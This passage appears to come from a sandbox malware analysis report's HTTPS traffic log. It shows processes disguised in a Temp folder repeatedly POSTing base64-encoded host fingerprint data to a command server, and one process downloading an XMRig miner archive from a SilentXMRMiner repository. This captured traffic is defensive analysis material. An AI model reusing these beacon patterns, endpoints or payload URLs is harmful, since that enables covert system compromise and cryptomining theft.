2024-09-27 15:42:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49810	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:37 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:37 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sAZzTJ6FUfW8RFv9IoSJDO%2FEzGwW9Rnde7Tf0A8SLAJg81cAF3W%2FTbYP2wjAtorWuHdi%2BBPYvkjxh7ac7i94ZmnpsKAe7O25tLD8eArQWmBetS0a3W529qQCovLSCQ7XcZ%2FcEtLC5aJR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9acb78897ca0-EWR
2024-09-27 15:42:37 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49811	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:38 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:38 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OsTIREZjw%2B8RjiN%2Byp%2FHbIpVT3s70%2B0ctjjiqXXU3LKGSr6PpQRvT3a4qSO83ScIzJxujDGvZln2FDPgABeX5hLh9%2Fzy184WfhN4d6k6wWO8XJCuFQ5frQDeGxspvUzt4PeHqG1JXA7k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ad07e728c65-EWR
2024-09-27 15:42:38 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49813	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:38 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:38 UTC	630	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uvr9C2t6iW01nY2wLaTxf2ohTQHM6Z%2FCXU%2Bigtf68wFOpHnnyiDHAZfHdAQ9%2B25mdJgOzsawdr4JxA4GAuSFJSzFx24H%2F4S0e97bs%2BJBlIAS95K%2FD3gABsK91YEMzElbMKnMyM3uM%2FLH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ad3af69433a-EWR
2024-09-27 15:42:38 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49815	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:39 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:39 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2GtOA5hNFXPP764TvEcg5zpJDXYudw7hVKTFm65KQZmSF9Qx1teQc3Trm3wc9BZE2HjaKwr7%2BUvopZh41IlMXcgp%2B%2FSqPgfyBjIOjRyUl62xF%2B8XufqfQ%2Fd3D5UtIZbhqAFtY8iUGgo4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ada4ad50f46-EWR
2024-09-27 15:42:39 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49816	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:39 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:40 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qJUQvwUHQTcHbqvOMv9u7RU5YeNimW6Pdi3pKtNuOPUWdUYMy88FeXh5wb80scjCe8pJVuaKwaJ4Xjq2S2AL9IJpNKtJXtYZxdCGtZ2BU1gdvkvmIhklg7qbezibyv%2Bad%2BUd1q7NTrck"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9adbfebc431b-EWR
2024-09-27 15:42:40 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49818	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:41 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:41 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FvNDiZ1vd2eCtBAYFIvQDBI86f2HwM6tqWmueRT3X95Bh5jtxhpWKAN%2BtBK6wUTh8nB6E3PTxdJ9VdqJqqF3kQZSMZjOMZpfp3LNDXSP5a%2B05sERRzpAf2%2FERc8tALvW%2FBFCfhkhYd5%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ae53f6b438a-EWR
2024-09-27 15:42:41 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49820	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:42 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:42 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rwmGLfL5H4CZisiQDfsQyYy7jFu3lcxvh%2FAlBzI0hWg5zKF%2B%2BFmTgI2X33rchV66f%2FjMVqougX3S6O5iAshQ3cTOevXDVp7tJEHtZ6dkVJpUlYnh0HlxwEhAHWJV%2FuXW%2BLOpNwPxIEgF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ae9bfb34367-EWR
2024-09-27 15:42:42 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49822	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:43 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:43 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OpMtHz3BzpIA94tN0nHuXOmeC1o%2FxTB97tGhNCOdxN8h6MijAg22btv1nMFQwvak98fNq8oefHO%2Bch1upXWLnKAM05QReNqwvytTaJRt0ywkS1zwiHp1AmmhmxHqc%2B6oYChFxlZSzsdu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9af229827ca5-EWR
2024-09-27 15:42:43 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49825	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:45 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:45 UTC	660	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9gPnFKHb0kc3kcQ%2BSIzX87i9Q1%2FWEC4HfkmpWDGG5e%2Bd7FmatZvJWh%2Fj0TmFCOZSJ8Oq9%2BC0bCRdMkoUFG8bCj88Fkmzmj3Ay75OlDskcbRA56p33cnZ7Q0DDAR%2FBFErkzTt2mm%2FNwNk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9afe3cdb8c41-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:42:45 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49828	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:47 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:47 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aU9kUXq9182bZVbSoHY3R3dEKmJpdOjk5EtePBH2NJJwbl51voM2nvlP2AdBTtnY2TsI0j2sA9BV%2FioLeMsYGqXEbN%2FyPNEtg%2BJrtE6nu%2F3JSMnowtsYr5SqoG6S0aWHccXrJoZggdzq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b0a78c7c42c-EWR
2024-09-27 15:42:47 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49830	140.82.121.3	443	6772	C:\Users\user\AppData\Local\Temp\svchost64.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:49 UTC	132	OUT	GET /UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-09-27 15:42:50 UTC	583	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 27 Sep 2024 15:42:49 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/UnamSanctam/SilentXMRMiner/master/SilentXMRMiner/Resources/xmrig.zip Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-27 15:42:50 UTC	3382	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49832	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:49 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:50 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sOVZr3K5g%2FTW0CHDMIJ%2BRlIsuOUHWukmop%2F1K5bhh8%2BEriNNb1p30yj2vNQlm2z3TrPPmNZ8uHKehxVIhBUeOFB3QpsyZYOFwtCYlW8vGCyY5C2Nj4%2BSJvXb72wdS3jgPFXEf3pr8eQ8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b1abae3438e-EWR
2024-09-27 15:42:50 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49833	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
